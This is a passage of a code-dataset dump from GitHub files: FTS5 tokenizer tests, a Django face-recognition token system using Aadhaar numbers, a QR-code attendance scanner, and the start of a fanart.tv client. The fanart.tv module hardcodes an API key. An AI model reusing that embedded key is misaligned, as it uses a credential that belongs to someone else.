なにぬねの\"),\n    ]\n    with c:\n        fts5.register_tokenizer(c, name, tm)\n        c.execute(\n            \"CREATE VIRTUAL TABLE docs USING FTS5(title, body, tokenize={})\".format(\n                name\n            )\n        )\n        c.executemany(\"INSERT INTO docs(title, body) VALUES(?, ?)\", docs)\n        r = c.execute(\"SELECT * FROM docs WHERE docs MATCH 'Python'\").fetchall()\n        assert len(r) == 1\n        r = c.execute(\"SELECT * FROM docs WHERE docs MATCH 'bind'\").fetchall()\n        assert len(r) == 0\n        r = c.execute(\"SELECT * FROM docs WHERE docs MATCH 'binding'\").fetchall()\n        assert len(r) == 1\n        r = c.execute(\"SELECT * FROM docs WHERE docs MATCH 'to'\").fetchall()\n        assert len(r) == 2\n        r = c.execute(\"SELECT * FROM docs WHERE docs MATCH 'あいうえお'\").fetchall()\n        assert len(r) == 1\n        r = c.execute(\"SELECT * FROM docs WHERE docs MATCH 'らりるれろ'\").fetchall()\n        assert len(r) == 0\n        assert (\n            c.execute(\"SELECT * FROM docs WHERE docs MATCH 'binding'\").fetchall()[0]\n            == c.execute(\n                \"SELECT * FROM docs WHERE docs MATCH 'body:binding'\"\n            ).fetchall()[0]\n        )\n        assert (\n            c.execute(\"SELECT * FROM docs WHERE docs MATCH 'body:binding'\").fetchall()[\n                0\n            ]\n            == c.execute(\n                \"SELECT * FROM docs WHERE docs MATCH 'body:binding'\"\n            ).fetchall()[0]\n        )\n        assert (\n            c.execute(\"SELECT * FROM docs WHERE docs MATCH 'あいうえお'\").fetchall()[0]\n            == c.execute(\"SELECT * FROM docs WHERE docs MATCH 'body:あいうえお'\").fetchall()[\n                0\n            ]\n        )\n        r = c.execute(\"SELECT * FROM docs WHERE docs MATCH 'title:bind'\").fetchall()\n        assert len(r) == 0\n        r = c.execute(\"SELECT * FROM docs WHERE docs MATCH 'title:README'\").fetchall()\n        assert len(r) == 1\n        r = c.execute(\"SELECT * FROM docs WHERE docs MATCH 'title:日本語'\").fetchall()\n        assert len(r) == 1\n        r = c.execute(\"SELECT * FROM docs WHERE docs MATCH 'to in'\").fetchall()\n        assert len(r) == 2\n        r = c.execute(\"SELECT * FROM docs WHERE docs MATCH 'Py*'\").fetchall()\n        assert len(r) == 1\n        r = c.execute(\"SELECT * FROM docs WHERE docs MATCH 'Z*'\").fetchall()\n        assert len(r) == 0\n        r = c.execute(\"SELECT * FROM docs WHERE docs MATCH 'あ*'\").fetchall()\n        assert len(r) == 1\n        r = c.execute(\"SELECT * FROM docs WHERE docs MATCH 'ん*'\").fetchall()\n        assert len(r) == 0\n        r = c.execute(\n            \"SELECT * FROM docs WHERE docs MATCH 'tokenizer SQLite'\"\n        ).fetchall()\n        assert len(r) == 1\n        r = c.execute(\n            \"SELECT * FROM docs WHERE docs MATCH '\\\"tokenizer SQLite\\\"'\"\n        ).fetchall()\n        assert len(r) == 0\n        r = c.execute(\"SELECT * FROM docs WHERE docs MATCH 'あいうえお たちつてと'\").fetchall()\n        assert len(r) == 1\n        r = c.execute(\n            \"SELECT * FROM docs WHERE docs MATCH '\\\"あいうえお たちつてと\\\"'\"\n        ).fetchall()\n        assert len(r) == 0\n        r = c.execute(\"SELECT * FROM docs WHERE docs MATCH 'tok* + SQL*'\").fetchall()\n        assert len(r) == 0\n        r = c.execute(\"SELECT * FROM docs WHERE docs MATCH 'tok* of SQL*'\").fetchall()\n        assert len(r) == 1\n        r = c.execute(\"SELECT * FROM docs WHERE docs MATCH 'あ* + さ*'\").fetchall()\n        assert len(r) == 0\n        r = c.execute(\"SELECT * FROM docs WHERE docs MATCH 'あ* かきくけこ さ*'\").fetchall()\n        assert len(r) == 1\n        r = c.execute(\n            \"SELECT * FROM docs WHERE docs MATCH 'NEAR(tokenizer SQLite)'\"\n        ).fetchall()\n        assert len(r) == 1\n        r = c.execute(\n            \"SELECT * FROM docs WHERE docs MATCH 'NEAR(binding SQLite, 2)'\"\n        ).fetchall()\n        assert len(r) == 0\n        r = c.execute(\n            \"SELECT * FROM docs WHERE docs MATCH 'NEAR(binding SQLite, 3)'\"\n        ).fetchall()\n        assert len(r) == 1\n        r = c.execute(\n            \"SELECT * FROM docs WHERE docs MATCH 'NEAR(あいうえお たちつてと)'\"\n        ).fetchall()\n        assert len(r) == 1\n        r = c.execute(\n            \"SELECT * FROM docs WHERE docs MATCH 'NEAR(あいうえお たちつてと, 2)'\"\n        ).fetchall()\n        assert len(r) == 1\n        r = c.execute(\n            \"SELECT * FROM docs WHERE docs MATCH 'NEAR(あいうえお たちつてと, 3)'\"\n        ).fetchall()\n        assert len(r) == 1\n\n\ndef test_flags(c):\n    flags_counter = Counter()\n\n    class ST(SimpleTokenizer):\n        def tokenize(self, text, flags):\n            flags_counter[flags] += 1\n            return super(ST, self).tokenize(text, flags)\n\n    name = \"super_simple2\"\n    fts5.register_tokenizer(c, name, fts5.make_fts5_tokenizer(ST()))\n    sql = (\"CREATE VIRTUAL TABLE fts \" \"USING FTS5(content, tokenize='{}')\").format(\n        name\n    )\n    c.execute(sql)\n    c.executemany(\n        \"INSERT INTO fts VALUES(?)\",\n        [(\"abc def\",), (\"abc xyz\",), (\"あいうえお かきくけこ\",), (\"あいうえお らりるれろ\",)],\n    )\n    c.execute(\"SELECT * FROM fts WHERE fts MATCH 'abc'\").fetchall()\n    c.execute(\"SELECT * FROM fts WHERE fts MATCH 'abc'\").fetchall()\n    c.close()\n    assert flags_counter[fts5.FTS5_TOKENIZE_DOCUMENT] == 4\n    assert flags_counter[fts5.FTS5_TOKENIZE_QUERY] == 2\n\n\ndef test_aux_and_tokenize(c, tm):\n    name = \"super_simple\"\n    fts5.register_tokenizer(c, name, tm)\n    fts5_aux.register_aux_function(c, \"tokenize\", fts5_aux.aux_tokenize)\n    c.execute(\"CREATE VIRTUAL TABLE fts USING FTS5(content, tokenize={})\".format(name))\n    r = c.executemany(\"INSERT INTO fts VALUES(?)\", ([\"hello world\"], [\"こんにちは 世界\"]))\n    assert r.rowcount == 2\n    r = c.execute(\"SELECT tokenize(fts, 0) FROM fts\")\n    assert [x[0] for x in r.fetchall()] == [\"hello, world\", \"こんにちは, 世界\"]\n    c.close()\n", "repo_name": "hideaki-t/sqlite-fts-python", "sub_path": "tests/test_fts5.py", "file_name": "test_fts5.py", "file_ext": "py", "file_size_in_byte": 11992, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 39, "dataset": "github-code", "pt": "81", "api": [{"api_name": "cffi.FFI", "line_number": 13, "usage_type": "call"}, {"api_name": "sqlitefts.fts5.FTS5Tokenizer", "line_number": 16, "usage_type": "attribute"}, {"api_name": "sqlitefts.fts5", "line_number": 16, "usage_type": "name"}, {"api_name": "re.compile", "line_number": 17, "usage_type": "call"}, {"api_name": "re.UNICODE", "line_number": 17, "usage_type": "attribute"}, {"api_name": "sqlite3.connect", "line_number": 30, "usage_type": "call"}, {"api_name": "sqlite3.Row", "line_number": 31, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 28, "usage_type": "attribute"}, {"api_name": "sqlitefts.fts5.make_fts5_tokenizer", "line_number": 37, "usage_type": "call"}, {"api_name": "sqlitefts.fts5", "line_number": 37, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 35, "usage_type": "attribute"}, {"api_name": "sqlitefts.fts5.fts5_api_from_db", "line_number": 41, "usage_type": "call"}, {"api_name": "sqlitefts.fts5", "line_number": 41, "usage_type": "name"}, {"api_name": "sqlitefts.fts5.make_fts5_tokenizer", "line_number": 48, "usage_type": "call"}, {"api_name": "sqlitefts.fts5", "line_number": 48, "usage_type": "name"}, {"api_name": "sqlitefts.fts5.make_fts5_tokenizer", "line_number": 54, "usage_type": "call"}, {"api_name": "sqlitefts.fts5", "line_number": 54, "usage_type": "name"}, {"api_name": "sqlitefts.fts5.register_tokenizer", "line_number": 61, "usage_type": "call"}, {"api_name": "sqlitefts.fts5", "line_number": 61, "usage_type": "name"}, {"api_name": "sqlitefts.fts5.register_tokenizer", "line_number": 73, "usage_type": "call"}, {"api_name": "sqlitefts.fts5", "line_number": 73, "usage_type": "name"}, {"api_name": "sqlitefts.fts5.register_tokenizer", "line_number": 81, "usage_type": "call"}, {"api_name": "sqlitefts.fts5", "line_number": 81, "usage_type": "name"}, {"api_name": "collections.Counter", "line_number": 99, "usage_type": "call"}, {"api_name": "sqlitefts.fts5.register_tokenizer", "line_number": 109, "usage_type": "call"}, {"api_name": "sqlitefts.fts5", "line_number": 109, "usage_type": "name"}, {"api_name": "sqlitefts.fts5.make_fts5_tokenizer", "line_number": 109, "usage_type": "call"}, {"api_name": "sqlitefts.fts5.register_tokenizer", "line_number": 132, "usage_type": "call"}, {"api_name": "sqlitefts.fts5", "line_number": 132, "usage_type": "name"}, {"api_name": "sqlitefts.fts5.register_tokenizer", "line_number": 145, "usage_type": "call"}, {"api_name": "sqlitefts.fts5", "line_number": 145, "usage_type": "name"}, {"api_name": "sqlitefts.fts5.register_tokenizer", "line_number": 189, "usage_type": "call"}, {"api_name": "sqlitefts.fts5", "line_number": 189, "usage_type": "name"}, {"api_name": "collections.Counter", "line_number": 293, "usage_type": "call"}, {"api_name": "sqlitefts.fts5.register_tokenizer", "line_number": 301, "usage_type": "call"}, {"api_name": "sqlitefts.fts5", "line_number": 301, "usage_type": "name"}, {"api_name": "sqlitefts.fts5.make_fts5_tokenizer", "line_number": 301, "usage_type": "call"}, {"api_name": "sqlitefts.fts5.FTS5_TOKENIZE_DOCUMENT", "line_number": 313, "usage_type": "attribute"}, {"api_name": "sqlitefts.fts5", "line_number": 313, "usage_type": "name"}, {"api_name": "sqlitefts.fts5.FTS5_TOKENIZE_QUERY", "line_number": 314, "usage_type": "attribute"}, {"api_name": "sqlitefts.fts5", "line_number": 314, "usage_type": "name"}, {"api_name": "sqlitefts.fts5.register_tokenizer", "line_number": 319, "usage_type": "call"}, {"api_name": "sqlitefts.fts5", "line_number": 319, "usage_type": "name"}, {"api_name": "sqlitefts.fts5_aux.register_aux_function", "line_number": 320, "usage_type": "call"}, {"api_name": "sqlitefts.fts5_aux", "line_number": 320, "usage_type": "name"}, {"api_name": "sqlitefts.fts5_aux.aux_tokenize", "line_number": 320, "usage_type": "attribute"}]}
{"seq_id": "9182521530", "text": "from django.shortcuts import render,redirect\nfrom .models import profile,token\nfrom django.contrib import messages\nimport cv2\nfrom datetime import datetime\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.admin.views.decorators import staff_member_required\nfrom django.contrib.auth import login as log_in,authenticate,logout\nfrom django.contrib.auth.models import User\n\nfrom django.http.response import StreamingHttpResponse\nfrom .camera import VideoCamera,IPWebCam\n\nfrom cv2 import VideoCapture \ncam = VideoCapture(0)\n\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' \nimport numpy as np\nfrom keras_facenet import FaceNet\nembedder = FaceNet()\n\n# Create your views here.\ndef register(request):\n    if request.method==\"POST\":\n        name=request.POST.get(\"name\")\n        email=request.POST.get(\"email\")\n        aadhar=request.POST.get(\"aadhar\")\n        pp=request.FILES.get(\"pp\")\n        psw1=request.POST.get(\"psw1\")\n        psw2=request.POST.get(\"psw2\")\n        #print(aadhar,pp,psw1,psw2)\n        if User.objects.filter(username=aadhar).exists():\n            messages.error(request,\"User already exists \")\n            return redirect(\"register\")\n        elif User.objects.filter(email=email).exists():\n            messages.error(request,\"Email taken \")\n            return redirect(\"register\")\n        elif psw1!=psw2:\n            messages.error(request,\"passwords dont match \")\n            return redirect(\"register\")\n        else:\n            u=User.objects.create_user(username=aadhar,email=email,password=psw1)\n            u.save()\n            ap=profile.objects.create(u=u,name=name,aadhar=aadhar,email=email,pp=pp)\n            ap.save()\n            image=\"media/\"+ap.pp.name\n            detections = embedder.extract(image, threshold=0.95)\n            #print(detections[0]['embedding'])\n            pencoding=detections[0]['embedding']\n            s=str(pencoding)\n            ap.pencoding=s[1:-1]\n            ap.save()\n            #x=np.fromstring(s[1:-1], sep=' ').reshape(512, )\n            messages.error(request,\"user registeration complete \")\n            return redirect(\"register\")\n                \n    return render(request,\"register.html\")\n\ndef login(request):\n    if request.method=='POST':\n        un=request.POST.get('un')\n        pss=request.POST.get('psw')\n        user=authenticate(username=un,password=pss)\n        if user is not None:\n            if user.is_superuser:\n                log_in(request,user)\n                return redirect(\"mark\")\n            else:\n                messages.error(request,\"invalid credentials\")\n                return redirect(\"login\")\n        else:\n            messages.error(request,\"invalid credentials\")\n            return redirect(\"login\")\n    return render(request,'login.html')\n\n@staff_member_required\n@login_required(login_url=\"login\")\ndef log_out(request):\n    logout(request) \n    return redirect(\"login\")\n \n\ndef gen(camera):\n\twhile True:\n\t\tframe,img,bloo= camera.get_frame()\n\t\tyield (b'--frame\\r\\n'\n\t\t\t\tb'Content-Type: image/jpeg\\r\\n\\r\\n' + frame + b'\\r\\n\\r\\n')\n\ndef video_feed(request):\n\treturn StreamingHttpResponse(gen(VideoCamera()),\n                    #video type\n\t\t\t\t\tcontent_type='multipart/x-mixed-replace; boundary=frame')\n\n\n@staff_member_required\n@login_required(login_url=\"login\")\ndef mark(request):\n    result=False\n    min_dist = 9999\n    identity = \"\"\n    if request.method==\"POST\":\n        vc=VideoCamera()\n        bytes,image,result = vc.get_frame()\n        #print(image)\n        cv2.imshow('img',image)\n    if result:\n        detections = embedder.extract(image, threshold=0.95)\n        print(detections)\n        if len(detections)<1 or len(detections)>1:\n             messages.info(request,\"face not detected\")\n             return redirect(\"mark\")\n        encoding=detections[0]['embedding']\n        all=profile.objects.values_list(\"aadhar\",\"pencoding\")\n        #print(all)\n        for i in all:\n            x=np.fromstring(i[1], sep=' ').reshape(512, )\n            #print(encoding,x)\n            dist=np.linalg.norm(encoding - x)\n            print(\"d=\",dist)\n            if(dist < min_dist):\n                min_dist = dist\n                identity = i[0]\n        threshold=0.95\n        if min_dist < threshold:\n            entry=token.objects.create(aadhar=identity,date=datetime.today().strftime('%Y-%m-%d'))\n            messages.error(request,\"token for \"+str(identity)+' is : '+str(entry.tken))\n            return redirect(\"mark\")\n        else:\n            messages.error(request,\"no matching faces\")\n            return redirect(\"mark\")\n    #print(identity,min_dist) \n    return render(request,\"mark.html\") \n", "repo_name": "Nilesh-navalkar/PyCharm_Stratagem2k23", "sub_path": "hsys/app/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 4630, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "cv2.VideoCapture", "line_number": 15, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 18, "usage_type": "attribute"}, {"api_name": "keras_facenet.FaceNet", "line_number": 21, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects.filter", "line_number": 33, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 33, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 33, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 34, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 34, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 35, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects.filter", "line_number": 36, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 36, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 36, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 37, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 37, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 38, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 40, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 40, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 41, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects.create_user", "line_number": 43, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 43, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 43, "usage_type": "name"}, {"api_name": "models.profile.objects.create", "line_number": 45, "usage_type": "call"}, {"api_name": "models.profile.objects", "line_number": 45, "usage_type": "attribute"}, {"api_name": "models.profile", "line_number": 45, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 55, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 55, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 56, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 58, "usage_type": "call"}, {"api_name": "django.contrib.auth.authenticate", "line_number": 64, "usage_type": "call"}, {"api_name": "django.contrib.auth.login", "line_number": 67, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 68, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 70, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 70, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 71, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 73, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 73, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 74, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 75, "usage_type": "call"}, {"api_name": "django.contrib.auth.logout", "line_number": 80, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 81, "usage_type": "call"}, {"api_name": "django.contrib.admin.views.decorators.staff_member_required", "line_number": 77, "usage_type": "name"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 78, "usage_type": "call"}, {"api_name": "camera.get_frame", "line_number": 86, "usage_type": "call"}, {"api_name": "django.http.response.StreamingHttpResponse", "line_number": 91, "usage_type": "call"}, {"api_name": "camera.VideoCamera", "line_number": 91, "usage_type": "call"}, {"api_name": "camera.VideoCamera", "line_number": 103, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 106, "usage_type": "call"}, {"api_name": "django.contrib.messages.info", "line_number": 111, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 111, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 112, "usage_type": "call"}, {"api_name": "models.profile.objects.values_list", "line_number": 114, "usage_type": "call"}, {"api_name": "models.profile.objects", "line_number": 114, "usage_type": "attribute"}, {"api_name": "models.profile", "line_number": 114, "usage_type": "name"}, {"api_name": "numpy.fromstring", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 119, "usage_type": "attribute"}, {"api_name": "models.token.objects.create", "line_number": 126, "usage_type": "call"}, {"api_name": "models.token.objects", "line_number": 126, "usage_type": "attribute"}, {"api_name": "models.token", "line_number": 126, "usage_type": "name"}, {"api_name": "datetime.datetime.today", "line_number": 126, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 126, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 127, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 127, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 128, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 130, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 130, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 131, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 133, "usage_type": "call"}, {"api_name": "django.contrib.admin.views.decorators.staff_member_required", "line_number": 96, "usage_type": "name"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 97, "usage_type": "call"}]}
{"seq_id": "35063103165", "text": "# importar paquetes necesarios\r\nfrom imutils.video import VideoStream\r\nfrom pyzbar import pyzbar\r\nfrom pygame import mixer\r\nimport argparse\r\nimport datetime\r\nimport imutils\r\nimport time\r\nimport cv2\r\n\r\n\r\n# construye nuestro parser de argumentos y hace el parseo de los argumentos\r\nap = argparse.ArgumentParser()\r\n\r\n# ap.add_argument(\"-o\", \"--output\", type=str, default=\"barcodes.csv\", help=\"path to output CSV file containing barcodes\")\r\nap.add_argument(\"-o\", \"--output\", type=str, default=\"barcodes.csv\", help=\"path to output CSV file containing barcodes\")\r\nargs = vars(ap.parse_args())\r\n\r\n\r\n#Entrada\r\napAddEntrada = argparse.ArgumentParser()\r\napAddEntrada.add_argument(\"-o\", \"--output\", type=str, default=\"entrada.csv\", help=\"path to output CSV file containing barcodes\")\r\nargsEntrada = vars(apAddEntrada.parse_args())\r\n\r\n#Salida\r\napAddSalida = argparse.ArgumentParser()\r\napAddSalida.add_argument(\"-o\", \"--output\", type=str, default=\"salida.csv\", help=\"path to output CSV file containing barcodes\")\r\nargsSalida = vars(apAddSalida.parse_args())\r\n\r\nwhile True:\r\n    option = input(\"Escanear para...\\nEntrada: e\\nSalida: s\\nOpcion ?: \")\r\n    if option == \"s\" or option == \"e\":\r\n        if option == \"e\":\r\n            thisCsv = open(argsEntrada[\"output\"], \"a\")\r\n        else:\r\n            thisCsv = open(argsSalida[\"output\"], \"a\")\r\n        break;\r\n    elif option == \"csv\":\r\n        thisCsv = open(args[\"output\"], \"a\")\r\n        break;\r\n\r\n\r\n# inicializa el video y permite que el sensor de la camara comience a escanear\r\nprint(\"[INFO] Iniciando video...\")\r\n# para webcam usa este>\r\n# src=0 es la camara de la lap, src=1 es una webcam externa\r\nvs = VideoStream(src=0).start()\r\n# para camara de raspberri usa este otro>\r\n# vs = VideoStream(usePiCamera=True).start()\r\ntime.sleep(2.0)\r\n\r\n# abre un CSV para escribir la informacion de fecha y hora donde se detecta el codigo QR\r\n\r\n#csv = open(args[\"output\"], \"a\")\r\n#csvEntrada = open(argsEntrada[\"output\"], \"a\")\r\n#csvSalida = open(argsSalida[\"output\"], \"a\")\r\n\r\nfound = set()\r\n\r\n#canScan = True\r\n#prevScanData = \"\"\r\nblackList = set()\r\n\r\n# loop de frames del video\r\nwhile True:\r\n    # toma el cuadro(frame) del video y le cambia el tama;o a un maximo de 400 pixeles\r\n    frame = vs.read()\r\n    # frame = imutils.resize(frame, width=1366, height=768)\r\n    frame = imutils.resize(frame, width=500, height=600)\r\n\r\n    # Encuentra los barcodes o QR y los decodifica:\r\n    barcodes = pyzbar.decode(frame)\r\n\r\n    \"\"\"# Valores de barcode\r\n    # barcode = Decoded(data,type, rect, polygon, quality, orientation)\r\n    # data = b '{valor del barcode}'\r\n    # type = '{tipo de barcode (ejem. QRCODE)}'\r\n    # rect = Rect( left = {int}, top = {int}, width = {int}, height = {int} )\r\n    # polygon = [ Point( x = { int }, y = { int } ), Point( x = { int }, y = { int } ), Point( x = { int }, y = { int } ), Point( x = { int }, y = { int } )  ]\r\n    # quality = { int ? ( prueba da siempre 1 ) }\r\n    # orientation = '{ tipoOrientacionString }' ejemplo (UP, DOWN, LEFT, RIGHT)\"\r\n    \"\"\"\r\n\r\n    #print(f\"Barcodes: \", barcodes);\r\n\r\n    for barcode in barcodes:\r\n       # print(f\"Prev data: {PrevScanData}\")\r\n        if barcode.data not in blackList:\r\n        #if PrevScanData != barcode.data:\r\n            blackList.add(barcode.data)\r\n            #PrevScanData = barcode.data\r\n            \"\"\"print(f\"Barcode data: {barcode.data}\")\r\n            print(f\"Prev data: {PrevScanData}\")\r\n            print(f\"Se guarda\")\"\"\"\r\n\r\n            # extrae los limites de la imagen del codigo de barras y crea una caja alrededor\r\n            (x, y, w, h) = barcode.rect\r\n            cv2.rectangle(frame, (x, y), (x + w, y + h), (0, 255, 0), 2)\r\n\r\n            # los datos del codigo de barras estan en bytes, si queremos escribirlo en una imagen debemos convertirlo a string primero\r\n            barcodeData = barcode.data.decode(\"utf-8\")\r\n            barcodeType = barcode.type\r\n\r\n            # escribe los datos y el tipo de codigo de barras en la imagen\r\n            text = \"{} ({}) NO. CONTROL LEIDO\".format(barcodeData, barcodeType)\r\n            image = cv2.putText(frame, text, (x, y - 10), cv2.FONT_HERSHEY_DUPLEX, 0.5, (0, 255, 0), 2)\r\n            print(f\"BarcodeData (Decode(utf-8)): {barcodeData}\")\r\n            mixer.init()\r\n            sound = mixer.Sound('beep.wav')\r\n            sound.play()\r\n\r\n            while True:\r\n                cv2.imshow(\"img\", image)\r\n                if cv2.waitKey(2000):\r\n                    break\r\n\r\n            cv2.destroyWindow(\"img\")\r\n\r\n            thisCsv.write(\"{}, {}\\n\".format(datetime.datetime.now(), barcodeData))\r\n\r\n            \"\"\" # Si el texto de nuestro codigo de barras no esta en nuestro archivo CSV, escribe\r\n            # la marca de tiempo + el barcode al disco y actualiza el set de datos.\r\n            \r\n            if barcodeData not in found:\r\n                csv.write(\"{}, {}\\n\".format(datetime.datetime.now(),\r\n                                            barcodeData))\r\n                # plays sound, la libreria playsound es incompatible con OPENCV porque opencv se detiene cuando hay un sonido\r\n                # aunque se hagan threads.\r\n                # playsound('notifa440.wav')\r\n\r\n                # vamos a intentar con mixer *UPDATE* SI FUNCIONA y no se detiene el video.\r\n                mixer.init()\r\n                # sound = mixer.Sound('notifa440.wav')\r\n                # sound.play()\r\n                cv2.waitKey(500)\r\n            else:\r\n                # escribe los datos de nuevo porque los alumnos pueden entrar mas de una vez a la biblioteca\r\n                # if barcodeData in found:\r\n                contador = 0\r\n                while contador <= 0:\r\n                    csv.write(\"{},{}\\n\".format(datetime.datetime.now(), barcodeData))\r\n                    mixer.init()\r\n                    # sound = mixer.Sound('notifa440.wav')\r\n                    # sound.play()\r\n                    cv2.waitKey(500)\r\n                    contador += 1\r\n\r\n            # break\r\n            # limpia csv cuando vuelve a iniciar\"\"\"\r\n\r\n            thisCsv.flush()\r\n            #found.add(barcodeData)\r\n\r\n        else:\r\n            print(\"Ya se encuentra en black list\")\r\n\r\n\r\n    cv2.imshow(\"BarcodeScanner\", frame)\r\n    key = cv2.waitKey(1) & 0xFF\r\n    # waitkey originalmente tenía valor =1\r\n\r\n    # si la tecla 'q' se puls[o, break del loop\r\n    if key == ord(\"q\"):\r\n        break\r\n    elif key == ord(\"c\"):\r\n        print(\"Limpiando blacklist...\")\r\n        blackList.clear()\r\n\r\n# End While True\r\n\r\n\r\n# cierra el archivo CSV de salida y hace limpieza\r\nprint(\"[INFO] limpiando...\")\r\nthisCsv.close()\r\ncv2.destroyAllWindows()\r\nvs.stop()\r\n", "repo_name": "Jxrxd9/VisionArtificial", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 6619, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 13, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 21, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 26, "usage_type": "call"}, {"api_name": "imutils.video.VideoStream", "line_number": 47, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 50, "usage_type": "call"}, {"api_name": "imutils.resize", "line_number": 69, "usage_type": "call"}, {"api_name": "pyzbar.pyzbar.decode", "line_number": 72, "usage_type": "call"}, {"api_name": "pyzbar.pyzbar", "line_number": 72, "usage_type": "name"}, {"api_name": "cv2.rectangle", "line_number": 98, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 106, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_DUPLEX", "line_number": 106, "usage_type": "attribute"}, {"api_name": "pygame.mixer.init", "line_number": 108, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 108, "usage_type": "name"}, {"api_name": "pygame.mixer.Sound", "line_number": 109, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 109, "usage_type": "name"}, {"api_name": "cv2.imshow", "line_number": 113, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 114, "usage_type": "call"}, {"api_name": "cv2.destroyWindow", "line_number": 117, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 119, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 119, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 158, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 159, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 175, "usage_type": "call"}]}
{"seq_id": "29747509748", "text": "# -*- coding: utf-8 -*-\nfrom modules.requests_utils import make_session\n# from modules.kodi_utils import logger\n\n# Code snippets from nixgates. Thankyou.\nbase_url = 'https://webservice.fanart.tv/v3/%s/%s'\napi_key = 'a7ad21743fd710fccb738232f2fbdcfc'\ndefault_fanart_meta = {'poster2': '', 'fanart2': '', 'banner': '', 'clearart': '', 'clearlogo': '', 'landscape': '', 'discart': '','keyart':'', 'fanart_added': True}\ndefault_fanart_nometa = {'poster2': '', 'fanart2': '', 'banner': '', 'clearart': '', 'clearlogo': '', 'landscape': '', 'discart': '', 'keyart':'', 'fanart_added': False}\nsession = make_session('https://webservice.fanart.tv')\n\ndef get(media_type, language, media_id, client_key):\n\tif not media_id: return default_fanart_meta\n\tquery = base_url % (media_type, media_id)\n\theaders = {'client-key': client_key, 'api-key': api_key}\n\ttry: art = session.get(query, headers=headers, timeout=20.0).json()\n\texcept: art = None\n\tif art == None or 'error_message' in art: return default_fanart_meta\n\tart_get = art.get\n\tif media_type == 'movies':\n\t\tfanart_data = {'poster2': parse_art(art_get('movieposter'), language),\n\t\t\t\t\t\t'fanart2': parse_art(art_get('moviebackground'), language),\n\t\t\t\t\t\t'banner': parse_art(art_get('moviebanner'), language),\n\t\t\t\t\t\t'clearart': parse_art(art_get('movieart', []) + art_get('hdmovieclearart', []), language),\n\t\t\t\t\t\t'clearlogo': parse_art(art_get('movielogo', []) + art_get('hdmovielogo', []), language),\n\t\t\t\t\t\t'landscape': 